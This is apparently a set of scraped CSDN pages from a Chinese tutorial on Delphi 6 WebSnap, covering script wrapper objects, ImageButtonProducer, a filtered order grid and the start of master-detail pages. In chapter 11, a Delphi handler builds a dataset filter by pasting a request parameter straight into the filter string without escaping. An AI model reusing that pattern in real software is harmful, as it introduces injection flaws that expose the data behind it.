Response.Write(s)

%>

Response 是 另 一 個 全 域 型 Wrapper ， 我 們 會 在 下 面 談 到 ， 她 的 功 能 就 與 ASP 內 的 Response 一 樣 ， 輸 出 字 串 到 目 的 HTML 文 件 中 。 我 們 也 可 以 利 用 Modules 來 取 得 特 定 的 Module:

<% var M = Modules.Home %>

並 經 由 這 個 Module Wrapper 取 得 她 裡 面 所 包 含 的 Wrapper 物 件 :

<%= M.Adapter1.TestField.Value%>

13-3 Application(Global)

她 是 ApplicationAdapter 的 Wrapper 物 件 ， 你 可 以 經 由 她 取 得 Application.Title 這 個 值 :

<%= Application.Title %>

或 是 你 在 on-line help 中 所 看 到 的 完 整 路 徑 範 例 :

<%

function PathInfoToRelativePath(S)

{

var R = '';

var L = S.length

I = 0

while (I < L)

{

if (S.charAt(I) == '/')

R = R + '../'

I++

}

return R

}

function QualifyImage(S)

{

if (Application.Designing)

return Application.QualifyFileName("..\\images\\" + S); // relative directory

else

return PathInfoToRelativePath(Request.PathInfo) + '../images/' + S; // virtual directory

}

%>

這 個 程 式 是 用 來 取 得 程 式 的 絕 對 路 徑 或 是 虛 擬 站 台 的 URL ， 由 於 我 們 在 Visual Page Designer 的 Preview 功 能 中 需 要 的 是 絕 對 路 徑 ， 但 在 實 際 網 站 中 需 要 的 是 URL ， 因 此 她 提 供 了 Designing 特 性 值 讓 我 們 判 別 目 前 是 處 於 Visual Page Designer 還 是 實 際 站 台 中 ， 在 這 個 程 式 中 QualifyFileName 就 是 取 得 絕 對 路 徑 的 函 式 ， 其 中 的 ..\\ 會 往 上 移 一 層 ， 假 設 絕 對 路 徑 是 c:\temp\examples1\ ， 那 結 果 就 是 c:\temp\images\ + S 。

由 於 ApplicationAdapter 也 是 Adapter 其 中 的 一 員 ， 因 此 我 們 也 可 以 像 操 作 Adapter 一 樣 操 作 她 :

<%=Application.Today.Value%>

也 可 以 利 用 Adapter 的 Fields 來 取 出 所 有 的 AdapterField

<%

adlist=new Enumerator(Application.Fields)

s = ''

for (; !adlist.atEnd(); adlist.moveNext())

{

s+='<h3>'+adlist.item().Name+'</h3>'

}

Response.Write(s)

%>

或 是 Actions 物 件

<%

adlist=new Enumerator(Application.Actions)

s = ''

for (; !adlist.atEnd(); adlist.moveNext())

{

s+='<h3>'+adlist.item().Name+'</h3>'

}

Response.Write(s)

%>

其 它 的 部 份 你 可 以 參 考 下 面 的 Adapter Wrapper 。

13-4 Request(Global)

與 ASP 中 的 Request 物 件 意 義 一 樣 ， 用 來 取 得 HTTP Request 的 一 些 資 訊 ， 你 可 以 在 Script 中 加 入 以 下 的 Script 碼 就 明 白 了 :

<h3><%=Request.PathInfo%></h3>

<h3><%=Request.ScriptName%></h3>

<h3><%=Request.Host%></h3>

13-5 Response(Global)

等 同 ASP 中 的 Response 物 件 ， 我 想 你 應 該 很 清 楚 用 途 才 是 !

13-6 EndUser(Global)

她 是 EndUserAdapter 的 Wrapper ， 技 術 上 來 說 ， 不 管 你 有 沒 有 放 至 EndUserAdapter 到 AppModule 上 ， 她 都 會 被 建 立 出 來 ， 只 是 實 體 物 件 有 沒 有 被 建 立 而 已 ， 因 此 你 可 以 安 全 的 在 Script 使 用 她 ， 而 不 在 意 EndUserAdapter 存 不 存 在 :

<% if (EndUser.Logout != null) { %>

<% if (EndUser.DisplayName != '') { %>

<h1> 歡 迎 <%=EndUser.DisplayName %> 你 今 年 是 <%=EndUser.AdaptAge.Value%> 歲 </h1><% } %>

<% if (EndUser.Logout.Enabled) { %>

<a href="<%=EndUser.Logout.AsHREF%>">Logout</a>

<% } %>

<% if (EndUser.LoginForm.Enabled) { %>

<a href=<%=EndUser.LoginForm.AsHREF%>>Login</a>

<% } %>

<% } %>

她 與 ApplicationAdapter 一 樣 ， 都 屬 於 Adapter 類 ， 因 此 你 也 可 以 像 使 用 一 般 的 Adapter 一 樣 使 用 她 ， 上 面 的 程 式 有 展 示 這 一 點 ， Logout 及 LoginForm 都 是 AdapterAction ， 下 面 會 談 到 這 個 Wrapper 。

13-7 Session(Global)

她 與 ASP 中 的 Session 物 件 大 致 相 同 ， 她 Wrapper 了 TWebSession 物 件 ， 與 EndUser 相 同 ， 不 管 你 有 沒 有 放 至 SessionsService 她 都 會 被 建 立 出 來 ， 只 是 有 沒 有 實 體 物 件 而 已 ， 你 可 以 利 用 Session.SessionID.Value 來 取 得 SessionID 的 值 ， 也 可 以 利 用 Session.Value (名 稱) 來 取 得 Session 中 的 值 。

<%=Session.SessionID.Value%>

<%=Session.Values('Age')%>

13-8 Page

她 Wrapper 了 WebPageInfo ， 也 就 是 你 在 Page Module 最 後 一 行 中 的 設 定 值 :

<h3><%=Page.Title%></h3>

<h3><%=Page.Name%></h3>

<h3><%=Page.HREF%></h3>

<h3><%=Page.Description%></h3>

<h3><%=Page.LoginRequired%></h3>

<h3><%=Page.CanView%></h3>

<h3><%=Page.DefaultAction.Name%></h3>

紅 色 的 部 份 在 使 用 時 要 特 別 小 心 ， 因 為 Page 中 不 一 定 要 有 DefautlAction ， 因 此 她 有 可 能 是 空 值 ， 而 且 取 得 DefaultAction 會 引 發 Page Module 的 自 動 建 立 動 作 ， CanView 及 LoginRequired 是 用 來 管 理 使 用 者 及 權 限 控 制 用 。

13-9 Producer

技 術 上 她 與 Response 大 致 相 同 ， 只 是 它 可 以 寫 入 HTML Tag:

<h3><%Producer.Write('我是 <#NameTag>')%></h3>

接 著 你 就 可 以 在 Producer 的 OnHTMLTag 事 件 中 取 代 這 個 Tag ， 如 果 寫 入 的 資 料 不 是 HTML Tag 的 話 ， 使 用 Response 會 較 有 效 率 。

13-10 Adapter

標 準 的 AdapterWrapper ， 指 的 是 TAdapter 或 是 TDataSetAdapter 等 ， 她 提 供 了 Fields,Actions 兩 個 列 舉 器 ， 我 們 可 以 經 由 她 們 列 出 AdapterFields 及 AdapterActions:

<%

adlist=new Enumerator(Application.Fields)

s = ''

for (; !adlist.atEnd(); adlist.moveNext())

{

s+='<h3>'+adlist.item().Name+'</h3>'

}

Response.Write(s)

%>

<%

adlist=new Enumerator(Application.Actions)

s = ''

for (; !adlist.atEnd(); adlist.moveNext())

{

s+='<h3>'+adlist.item().Name+'</h3>'

}

Response.Write(s)

%>

當 一 個 網 頁 執 行 了 Action 後 發 生 錯 誤 導 向 錯 誤 網 頁 時 ， 我 們 可 以 利 用 她 的 Errors 來 取 出 錯 誤 訊 息 :

<%

var e = new Enumerator(Modules.CountryTable.Adapter.Errors)

for (; !e.atEnd(); e.moveNext())

{

Response.Write("<li>" + e.item().Message)

}

e.moveFirst()

%>

當 使 用 的 Adapter 有 多 筆 資 料 時 ， 例 如 TDataSetAdapter 跟 之 前 我 們 所 撰 寫 的 MyAdapter ， 我 們 可 以 利 用 Records 列 舉 器 來 移 動 記 錄 位 置 :

<%var e = new Enumerator(vdsAdaptCust.Records)

for (; !e.atEnd(); e.moveNext())

{ %>

<tr>

<% if (vdsAdaptCust_Filter.Visible)

{ %>

<td><div><% obj=CheckBoxGroup(vdsAdaptCust_Filter, vdsAdaptCust_Filter.InputName,

1, '')%><%=obj.text%></div></td><% } %>

你 可 以 在 AdapterGrid 中 所 產 生 的 Script 看 到 一 樣 的 運 用 方 式 ， 當 你 把 AdapterGrid 的 AdapterMode 設 為 Edit 時 ， 你 還 可 以 看 到 HiddenFields 及 HiddenRecordFields ， 這 兩 個 Wrapper 可 以 將 Adapter 中 的 隱 藏 欄 位 用 WriteFields 寫 到 HTML 中 ， 這 用 在 DataSetAdapter 上 ， 你 可 以 在 AdaterAction 一 節 中 找 到 相 關 的 資 訊 ， HiddenFields 及 HiddenRecordFields 中 的 資 訊 會 受 到 DataSetAdapterField 中 的 FieldFlags 特 性 值 的 影 響 ， 就 像 是 以 往 我 們 熟 悉 的 UpdateFlag 一 樣 。 CanModify 及 CanView 則 是 權 限 控 制 的 部 份 ， Mode 這 個 特 性 值 是 用 來 判 別 目 前 的 網 頁 所 處 的 狀 態 ， 例 如 Edit,Insert,Query 等 DataSetAdapter 所 提 供 的 狀 態 ， 技 術 上 你 可 以 用 撰 寫 元 件 的 方 式 定 義 自 己 的 AdapterMode 及 Adapter， 在 Inside WebSnap 中 有 一 個 這 樣 的 範 例 。

13-11 AdapterAction

AdapterAction 的 Wrapper Object ， 我 們 可 以 在 Grid Page 中 的 Script 看 到 以 下 的 Script:

onclick="AdapterForm2.__act.value='<%=vAdapter1_Query.LinkToPage("Edit", "Error").AsFieldValue%>

這 會 編 出 以 下 的 HTML

__sp.4.Edit__fp.5.Error__id.19.Grid.Adapter1.Query

各 參 數 的 詳 細 用 途 請 參 考 AdapterAction 一 節 。 Style 特 性 值 與 AdapterAction 中 IGetHTMLStyle.GetDisplayType 相 呼 應 ， 可 以 用 來 取 得 Action 的 顯 示 方 式 ， 如 button,image,link 等 等 ， Array 可 以 讓 我 們 列 出 該 Action 所 支 援 的 命 令 ， 較 明 顯 的 範 例 是 PagedAdapter 的 GotoPage Script:

<%

// GotoPage has a list of commands. Loop through the list. Only use an anchor tag if the command

// is enabled

if (vGotoPage.Array != null)

{

var e = new Enumerator(vGotoPage.Array)

for (; !e.atEnd(); e.moveNext())

{

%>

<td>

<% if (vGotoPage.Enabled)

{ %>

<a href="<%=vGotoPage.LinkToPage(Page.Name).AsHREF%>">

<%=vGotoPage.DisplayLabel%></a>

<% }

else

{ %>

<a><%=vGotoPage.DisplayLabel%></a>

<% }

%>

</td>

<%

}

}

%>

13-12 AdapterField

我 想 你 對 她 應 該 相 當 熟 悉 了 ， InputName 這 個 特 性 值 有 個 技 術 是 很 重 要 的 ， 你 只 要 比 對 TDataSetAdapter 與 TAdapter 所 產 生 出 來 的 HTML 就 可 以 了 解 到 她 跟 Records 有 很 大 的 牽 連 ， 在 AdapterGrid 情 況 下 InputName 後 面 的 數 字 代 表 著 資 料 記 錄 位 置 ， 當 AdapterGrid Post 之 後 ， 這 些 值 就 會 被 送 往 Action ， 接 著 我 們 就 可 以 利 用 ActionRequest 與 ActionFieldValues 來 取 出 這 些 值 ， InputStyle 則 是 HTML Control 類 型 ， DisplayType 與 AdapterAction.Style 作 用 相 同 ， 只 是 對 象 是 Text,Image,List ， ViewMode 是 顯 示 模 式 : Input 與 Display ， DisplayText 與 EditText 則 是 AdapterField 的 值 ， 通 常 在 顯 示 text 時 我 們 使 用 DisplayText ， input 時 使 用 EditText ， ValuesList 則 是 傳 回 AdapterField 中 ValueList 的 Wrapper Object 。

13-13 AdapterErrors

就 是 Adapter 的 錯 誤 資 訊 ， 也 就 是 我 們 在 Adapter Wrapper Object 所 展 示 的 列 舉 錯 誤 真 正 的 物 件 。

<%

var e = new Enumerator(Modules.CountryTable.Adapter.Errors)

for (; !e.atEnd(); e.moveNext())

{

Response.Write("<li>" + e.item().Message)

}

e.moveFirst()

%>

13-14 AdapterFieldValues

這 用 在 AdapterField 支 援 Multi-Value 時 ， 如 HTML List Control 等 多 選 值 情 況 下 ， 目 前 是 TAdapterMultiValueField 。 你 可 以 用 以 下 的 程 式 碼 來 取 出 這 些 值

var e = new Enumerator(f.Values.Records)

for (; !e.atEnd(); e.moveNext())

{

s+= '<li>'

s += f.Values.ValueField.DisplayText;

s += '</li>'

c++

}

e.moveFirst()

13-15 AdapterFieldValuesList

這 是 我 們 由 AdapterField.ValueList 所 傳 回 來 的 Wrapper Object ， 使 用 方 式 大 略 與 上 面 那 一 個 相 同 ， 不 過 多 加 了 可 傳 回 AdapterImage 的 能 力 與 直 接 用 Name 來 取 值 的 函 式 。

13-16 AdapterHiddenFields

就 是 我 們 使 用 Adapter.HiddenFields 所 傳 回 來 的 Wrapper 物 件 。

13-17 AdapterImage

使 用 AdapterField.Image 所 傳 回 來 的 Wrapper Object ， 提 供 了 圖 形 的 URL 。

本章後記

WebSnap 中 的 Wrapper Object 大 概 就 是 這 些 ， 我 本 來 不 想 將 這 些 列 出 來 的 ， 因 為 這 些 東 西 在 更 新 的 Help 檔 中 有 詳 細 的 說 明 及 範 例 檔 ， 只 是 有 部 份 蠻 模 糊 的 ， 因 此 我 決 定 就 一 些 會 造 成 疑 問 的 部 份 說 明 ， 請 你 參 照 著 On-Line Help 看 ， 會 有 較 完 整 的 認 識 。

<附錄A、 一些小技巧>


CSDN_文档中心_Web Application 開 發 利 器 - WebSnap（十一）

Web Application 開 發 利 器 - WebSnap!

第 十 一 章 、 ImageButtonProducer 應 用

在 WebSnap 的 範 例 中 ， 有 幾 個 元 件 對 我 們 來 說 相 當 有 用 ， 其 中 一 個 就 是 ImageButtonProducer ， 她 可 以 讓 我 們 以 圖 形 按 紐 的 方 式 來 取 代 呆 板 的 預 設 按 紐 ， 這 可 是 會 使 你 的 網 頁 看 起 來 更 有 價 值 多 了 ， 當 然 ! 我 們 得 拿 些 許 的 效 率 去 換 ， 要 使 用 她 之 前 ， 我 們 得 先 把 她 裝 起 來 才 行 ， 請 你 開 啟 以 下 這 個 Package:

Borland\Delphi6\Demos\WebSnap\ImgBtnProducer\DclImgBtnProducer

接 著 你 會 看 到 以 下 的 視 窗 :

最 後 按 下 Install 按 紐 就 可 以 安 裝 這 個 元 件 了 ， 完 成 後 你 應 該 可 以 在 Component Palette 最 末 頁 裡 看 到 這 個 元 件 :

使 用 她 的 方 式 很 簡 單 ， 請 開 啟 一 個 新 的 專 案 ( 由 這 一 章 開 始 ， 我 們 將 使 用 另 一 個 範 例 程 式 ):

請 你 選 擇 AdapterPageProducer ， 這 可 以 讓 我 們 很 方 便 的 製 作 出 圖 形 導 覽 按 紐 列 ， 接 著 請 你 將 Template 選 項 改 成 Blank ， 因 為 我 們 不 想 使 用 原 來 的 制 式 範 本 ( 她 很 醜 ...):

這 次 我 們 所 建 立 是 一 個 完 整 的 網 頁 ， 當 然 我 們 得 加 入 所 有 網 頁 該 有 的 功 能 ， 請 你 將 Components 內 所 有 的 元 件 都 勾 選 起 來 :

整 個 Application Page Module 看 起 來 就 像 下 圖 一 樣 :

接 著 我 們 搭 個 便 車 ， 使 用 ApplicationAdapter 來 存 放 一 些 元 件 ， 首 先 我 們 加 入 一 個 可 以 回 到 首 頁 的 Action:

接 著 在 Action.OnExecute 事 件 中 加 入 以 下 的 程 式 碼 :

uses WebReq, WebCntxt, WebFact, Variants,SiteComp;

… … … … … … … …

… … … … … … …

procedure THome.atHomeExecute(Sender: TObject; Params: TStrings);

begin

DispatchPageName('Home',Response,[dpPublished]);

end;

認 真 的 你 應 該 會 問 ， 我 們 不 是 可 以 在 Visual Page Designer 中 以 設 定 PageName 的 方 式 來 導 向 嗎 ? 這 樣 就 不 用 寫 程 式 了 不 是 嗎 ? 呵 ， 請 想 想 ! 如 果 我 們 有 10 個 網 頁 ， 這 10 個 網 頁 中 都 需 要 這 個 按 紐 ， 那 你 得 設 幾 次 呢 ? 寫 在 這 裡 只 需 設 一 次 就 可 以 了 ， 很 方 便 ! 回 到 程 式 中 ， 我 們 開 啟 Visual Page Designer 來 設 計 一 下 我 們 的 首 頁 ， 目 前 我 們 的 目 的 只 是 要 加 入 一 個 導 覽 列 ， 這 可 以 利 用 FieldGroup+CommandGroup 來 達 成 :

哦 ! 我 們 要 一 個 空 的 網 頁 ， 不 要 這 個 Title Field ， 請 將 AddDefaultFields 特 性 值 設 成 False ， 讓 她 還 給 我 們 一 個 乾 淨 的 網 頁 ， 接 著 請 在 AdapterForm1 中 再 加 入 一 個 AdapterCommandGroup 元 件 :

然 後 將 她 的 DisplayComponent 特 性 設 為 AdapterFieldGroup1 。

很 好 ! 那 個 呆 板 又 難 看 的 按 紐 出 現 了 :

嘿 ! 我 們 可 不 想 要 這 個 ， 請 你 回 到 Page Module 中 ， 將 ImageButtonProducer 元 件 放 入 Page Module 中 ， 接 著 回 到 Visual Page Designer 在 AdapterCommandGroup1 右 方 按 右 鍵 ， 將 我 們 的 Home Action 加 進 去 :

然 後 我 們 將 CmdHomeAction 的 ImageProducer 特 性 設 為 ImageButtonProducer1 就 完 成 了 。

當 然 我 們 不 可 能 這 樣 就 滿 足 了 ， 首 先 她 的 顏 色 還 是 有 點 醜 ， 我 們 可 以 調 整 ImageButtonProducer 中 的 特 性 值 來 美 化 她 :

嗯 ! 看 起 來 專 業 多 了 ， 執 行 這 個 程 式 用 瀏 覽 器 來 看 看 吧 。

圖 形 並 沒 有 正 常 顯 示 ? 我 們 看 看 圖 形 的 連 接 出 了 什 麼 問 題 ， 在 圖 形 上 按 右 鍵 選 擇 內 容 :

原 來 多 了 個 / ， 看 來 是 ImageButtonProducer 元 件 的 問 題 ， 我 們 回 到 DELPHI 中 ， 重 新 調 整 一 下 ImageButtonProducer 的 特 性 值 ， 首 先 我 們 必 須 在 這 個 專 案 的 目 錄 下 建 立 一 個 Images 目 錄 ， 這 是 用 來 讓 ImageButtonProducer 元 件 產 生 圖 形 暫 存 檔 用 ， 接 著 設 定 ImageButtonProducer.CacheDir 特 性 值 為 Images ， 同 時 調 整 她 的 VirtualDir 特 性 值 為 Images 。

由 於 我 們 是 使 用 WebAppDebuger 模 式 ， 因 此 我 們 還 必 須 調 整 她 的 Search Path 設 定 ， 加 入 我 們 新 建 的 Images 目 錄 ， 這 樣 她 才 能 正 確 的 找 到 圖 形 :

重 新 執 行 程 式 後 ， 你 應 該 可 以 正 常 的 看 到 圖 形 按 紐 了 。

嘿 ! 不 只 是 漂 漂 亮 亮 的 圖 形 按 紐 ， 還 有 ToolTip 顯 示 哦 ， 雖 然 如 此 ! 整 體 看 起 來 還 是 單 調 了 些 ， 我 們 加 上 個 Title Image 好 了 ， 這 樣 看 起 來 較 美 觀 些 ， 我 們 開 啟 ApplicationAdapter 的 Fields Designer 視 窗 ， 加 入 一 個 AdapterImageField:

接 著 設 定 她 的 HREF 特 性 值 為 要 顯 示 的 圖 形 URL 。

最 後 開 啟 Visual Page Designer ， 新 增 這 個 Field 到 AdapterFieldGroup1 中 。

預 設 會 出 現 編 輯 的 畫 面 ， 我 們 將 她 的 ViewModule 設 定 為 vmDisplay 。

是 不 是 覺 得 TitleImage 這 段 字 很 礙 眼 ? 請 你 在 她 的 Caption 特 性 值 中 填 入 一 個 空 白 來 取 代 原 先 的 TitleImage 字 串 ( 目 前 一 定 要 有 一 個 字 元 才 行 ) 。

在 Designer 模 式 下 ， 我 們 看 不 到 實 際 的 圖 形 顯 示 ， 這 是 因 為 Designer 時 所 使 用 的 路 徑 是 絕 對 路 徑 ， 而 我 們 所 設 的 是 URL 的 關 係 ， 請 你 執 行 程 式 後 以 IE 來 瀏 覽 。

看 起 來 還 算 不 錯 ， 至 少 以 一 個 只 寫 幾 行 程 式 的 Web Application 來 說 算 很 好 了 ， 接 下 來 我 們 要 加 上 一 些 資 料 庫 的 功 能 ， 首 先 請 你 新 增 一 個 WebDataModule 到 這 個 專 案 中 ， 我 們 需 要 一 個 Table: BCDEMOS 中 的 Orders 資 料 表 。

使 用 BDE 開 發 Web Application 時 需 注 意 一 件 事 ， 那 就 是 一 定 得 使 用 Session ， 而 且 要 把 AutoSessionName 設 為 True ， 否 則 無 法 適 用 於 Web 多 使 用 者 的 情 況 ， 接 著 我 們 要 加 入 一 個 TQuery ， 這 個 Query 的 作 用 是 取 出 Orders 中 的 所 有 Paymethod 欄 位 ， 並 以 她 作 Group 後 取 出 Paymethod 列 表 ， 我 們 會 在 下 面 用 到 她 。

然 後 我 們 加 入 DataSetAdapter 元 件 ， 連 結 到 我 們 的 Orders Table 。

接 下 來 我 們 還 得 新 增 一 個 Page Module ， 這 是 用 來 顯 示 一 個 Orders 列 表 的 網 頁 ， 我 們 希 望 可 以 讓 使 用 者 選 擇 一 個 PayMethod 後 ， 導 向 另 一 個 網 頁 ， 在 那 個 網 頁 中 列 出 所 有 符 合 該 PayMethod 的 資 料 ， 因 此 我 們 必 須 加 入 一 個 TAdapter 到 這 個 新 增 的 Page Module 中 ， 同 時 我 們 也 得 加 入 一 個 DataSetValueList 元 件 ， 這 是 用 來 顯 示 經 過 Group 命 令 後 的 Query 。

然 後 我 們 分 別 設 定 dsvlPayMethodList 的 DataSet 為 qyPayMethodList 。 ( 你 必 須 先 uses dmData 這 個 單 元 )

請 開 啟 Adapter1 的 Fields Designer ， 加 入 一 個 AdapterField 。

再 開 啟 Adapter1 的 Action Designer ， 加 入 一 個 AdapterAction 。

當 使 用 者 執 行 這 個 Action 時 ， 我 們 要 將 他 導 向 於 一 個 以 PayMethod 過 濾 資 料 的 網 頁 ， 因 此 我 們 必 須 撰 寫 她 的 OnExecute 事 件 :

procedure TGrid.AdaptGoFilterExecute(Sender: TObject; Params: TStrings);

var

AParams:TStringList;

begin

AParams:=TStringList.Create;

AParams.Add('FilterValue='+AdaptSelectFilter.ActionValue.Values[0]);

RedirectToPageName('FilterGrid',AParams,Response,[dpPublished]);

end;

FilterGrid 是 我 們 用 來 顯 示 過 濾 結 果 的 網 頁 名 稱 ， 稍 後 我 們 再 製 作 這 個 網 頁 ， 現 在 讓 我 們 先 設 計 一 下 這 個 Grid 顯 示 方 式 ， 首 先 我 們 加 入 CSS 程 式 碼 ， 這 可 以 讓 我 們 訂 制 我 們 的 Grid 樣 式 :

.GridTable

{

WIDTH: 100%;

BACKGROUND-COLOR: #8BAADC;

BORDER: 1px SOLID #003388;

}

.GridHeader

{

FONT-WEIGHT: normal;

FONT-SIZE: 9pt;

COLOR: #FFFFFF;

BACKGROUND-COLOR: #60A7DB;

FONT-FAMILY: Arial, Helvetica, SansSerif;

TEXT-DECORATION: none;

}

.GridRow140

{

FONT-FAMILY: Arial, Helvetica, SansSerif;

FONT-WEIGHT: normal;

FONT-SIZE: 9pt;

COLOR: #003388;

BACKGROUND-COLOR: #D6DBB9;

WIDTH=150;

}

.GridRow

{

FONT-FAMILY: Arial, Helvetica, SansSerif;

FONT-WEIGHT: normal;

FONT-SIZE: 9pt;

WIDTH: 100%;

COLOR: #003388;

BACKGROUND-COLOR: #D6DBB9;

}

.GridRowFixed

{

FONT-FAMILY: Arial, Helvetica, SansSerif;

FONT-WEIGHT: normal;

FONT-SIZE: 9pt;

WIDTH: 100%;

COLOR: #FFFFFF;

BACKGROUND-COLOR: #003366;

}

完 成 後 請 開 啟 Visual Page Designer ， 並 在 裡 面 加 入 三 個 AdapterForm 。

首 先 我 們 先 設 定 網 頁 標 題 的 圖 形 與 導 覽 列 ， 我 們 必 須 使 用 到 Home Module 中 的 ApplicationAdapter 元 件 ， 所 以 記 得 要 uses 她 ， 完 成 後 在 AdapterForm1 上 按 右 鍵 加 入 一 個 AdapterFieldGroup 及 一 個 AdapterCommandGroup ， 設 定 AdapterCommandGroup.DisplayComponent 為 AdapterFieldGroup ， 接 著 設 定 AdapterFieldGroup 的 Adapter 為 Home.ApplicationAdapter ， 其 它 的 設 定 就 按 照 我 們 設 定 首 頁 的 方 法 設 定 即 可 :

完 成 後 我 們 繼 續 設 定 AdapterForm3 ， 請 加 入 一 個 AdapterLayout ， 並 設 定 她 的 DisplayColumns 為 2 ， 這 可 以 讓 我 們 以 一 列 的 方 式 顯 示 選 擇 PayMethod ComboBox 及 確 定 的 按 紐 ， 接 著 在 她 上 面 按 右 鍵 選 擇 新 增 一 個 AdapterFieldGroup 與 一 個 AdapterCommandGroup ， 並 將 AdapterCommandGroup2.DisplayComponent 設 為 AdapterFieldGroup2:

然 後 將 AdapterFieldGroup2 的 Adapter 特 性 設 為 Adapter1 。

接 著 在 AdapterForm2 中 加 入 一 個 AdapterGrid ， 並 將 她 的 Adapter 設 為 dmData.dsaOrders ， 我 們 只 需 要 一 些 簡 要 的 欄 位 ， 因 此 請 在 AdapterGrid 上 按 右 鍵 ， 選 擇 Add Columns ， 並 照 下 圖 選 取 需 要 的 欄 位 :

完 成 後 我 們 要 設 定 AdapterGrid 的 HeaderAttributes,RowAttributes,TableAttributes 中 的 StyleRule 特 性 ， 來 改 變 Grid 的 顯 示 樣 式 。

沒 問 題 的 話 ， 你 應 該 可 以 看 到 以 下 的 畫 面 :

這 個 Grid 目 前 是 顯 示 全 部 的 資 料 ， 我 們 可 以 藉 由 設 定 dsaOrders 中 的 PageSize 來 限 制 一 頁 中 最 多 可 顯 示 的 資 料 筆 數 ， 我 將 它 定 為 25 筆 :

我 們 還 得 提 供 讓 使 用 者 可 以 切 換 頁 次 的 Action ， 請 回 到 Grid Module 中 ， 開 啟 Visual Page Designer 後 在 AdapterForm2 中 加 入 一 個 AdapterCommandGroup ， 將 AdapterCommandGroup.DisplayComponent 設 為 AdapterGrid1 。

設 定 好 後 在 AdapterCommandGroup3 上 按 右 鍵 選 擇 Add Commands ， 加 入 PrevPage,GotoPage,NextPage 這 三 個 Action 。

設 定 PrevPage 的 Caption 為 上 一 頁 ， NextPage 的 Caption 為 下 一 頁 ， 這 樣 就 完 成 了 這 個 網 頁 的 設 計 了 ， 接 著 再 完 成 FilterGrid 網 頁 就 可 以 完 成 整 個 程 式 了 ， 請 新 增 一 個 Page Module ， 在 裡 面 放 入 一 個 TAdapter ， 並 在 裡 面 加 入 一 個 Action:

接 著 請 開 啟 Visual Page Designer 加 入 兩 個 AdapterForm ， 第 一 個 就 照 我 們 之 前 所 做 的 ， 設 定 標 題 圖 形 及 導 覽 列 ， 第 二 個 就 是 顯 示 一 個 與 Grid Module 中 一 樣 的 Grid ， 記 得 將 Grid Module 中 的 Styles 特 性 值 複 製 到 這 個 Module 中 的 AdapterPageProducer.Styles 中 ， 同 樣 的 我 們 也 加 入 NextPage,GotoPage,PrevPage 到 這 個 網 頁 中 ， 整 個 網 頁 看 起 來 就 像 下 圖 :

接 著 將 Module.DefaultAction.Adapter 及 Module.DefaultAction.Action 分 別 設 為 Adapter1 及 DefaultFilterAction 。

並 撰 寫 以 下 的 事 件 :

procedure TFilterGrid.AdaptDefaultExecute(Sender: TObject;

Params: TStrings);

var

FFilter:string;

begin

FFilter:=Params.Values['FilterValue'];

dmData.dsaOrders.DataSet.Filter:='PaymentMethod='''+FFilter+'''';

dmData.dsaOrders.DataSet.Filtered:=True;

dmData.dsaOrders.DataSet.Open;

end;

procedure TFilterGrid.WebPageModuleDeactivate(Sender: TObject);

begin

dmData.dsaOrders.DataSet.Filtered:=False;

dmData.dsaOrders.DataSet.Filter:='';

end;

首 先 我 們 先 解 釋 AdaptDefaultExecute ， 這 是 DefaultAction 的 OnExecute 事 件 ， 我 們 在 這 裡 取 出 Grid 網 頁 所 傳 遞 過 來 的 參 數 ， 利 用 這 個 參 數 來 過 濾 資 料 ， 當 這 個 Module 被 Deactivate 時 ， 我 們 再 把 Filter 取 消 ， 這 樣 Grid 網 頁 才 能 夠 顯 示 所 有 的 資 料 ， 這 就 是 DefaultAction 的 用 法 之 一 ， 當 然 你 也 可 以 選 擇 使 用 OnBeforeDispatchPage 或 是 OnActivate ， 但 這 兩 個 事 件 都 有 缺 點 ， OnBeforeDispatchPage 會 在 每 次 網 頁 輸 出 前 觸 發 ， 也 就 是 說 當 你 使 用 切 換 頁 功 能 時 ， Filter 會 再 觸 發 一 次 ， OnActivate 更 多 ， 因 此 在 這 個 case 中 ， DefaultAction 是 最 佳 的 處 理 位 置 ， 因 為 她 只 觸 發 一 次 。

本 章 後 記

這 一 章 中 我 們 大 幅 度 的 使 用 ImageButtonProducer ， 並 利 用 DefaultAction 來 達 到 Filter 功 能 ， 下 面 的 章 節 我 們 將 持 續 加 強 這 個 程 式 ， 這 一 章 是 複 習 章 ， 我 儘 量 詳 細 的 解 釋 每 一 個 動 作 ， 希 望 你 已 經 熟 悉 了 AdapterPageProducer 及 Adapter ， 和 Visual Page Designer 的 設 計 方 式 。 另 外 有 件 事 要 提 醒 你 ， WebAppDebuger 是 一 個 僅 供 我 們 Debuger 用 的 HTTP Server ， 意 思 是 說 這 個 程 式 功 能 相 當 簡 單 ， 在 某 些 運 作 上 常 會 造 成 不 正 常 的 結 果 ， 像 本 章 的 範 例 就 常 因 為 她 的 運 作 不 正 常 ， 而 產 生 當 機 等 情 形 ， 這 些 問 題 在 你 轉 換 為 ISAPI/CGI 之 後 就 不 會 出 現 了 。 事 實 上 ， 你 可 以 選 擇 其 它 功 能 完 整 的 HTTP Server ， OmniHTTP 是 一 個 不 錯 的 選 擇 。

<第 十 二 章 、 DateTime 欄 位 的 拆 解 與 LookupField 、 Postback 技 術>


CSDN_文档中心_Web Application 開 發 利 器 - WebSnap（四）

Web Application 開 發 利 器 - WebSnap!

第 四 章 、 進 階 資 料 庫 網 頁 設 計

在 上 一 節 我 們 討 論 了 基 本 資 料 庫 網 頁 的 設 計 ， 及 一 些 Dispatcher 的 技 巧 ， 接 著 就 讓 我 們 進 一 步 設 計 一 個 Master-Detail 的 網 頁 。

4-1 Master-Detail 資 料 庫 網 頁

運 用 WebSnap 來 設 計 這 類 型 網 頁 是 相 當 簡 單 的 ， 首 先 請 你 在 Web DataModule 加 入 兩 個 Table: orders 、 items ， 接 著 設 定 她 們 的 Master-Detail 資 訊 。 完 成 後 我 們 還 要 加 入 兩 個 DataSetAdapter ， 分 別 連 結 兩 個 Table ， 你 可 以 在 TDataSetAdapter 特 性 值 中 看 到 一 個 MasterAdapter 特 性 ， 這 跟 MasterSource 的 意 義 相 同 ， 只 是 對 象 是 Adapter 。 設 定 完 成 後 你 就 可 以 開 始 設 計 新 的 網 頁 了 ， 請 加 入 一 個 Page Module 到 專 案 中 ， 將 PageName 設 成 MasterDetailEdit 及 uses DataModule ， 接 著 開 啟 Visual Page Designer 來 設 計 網 頁 ， 接 著 照 順 序 加 入 以 下 的 元 件 :

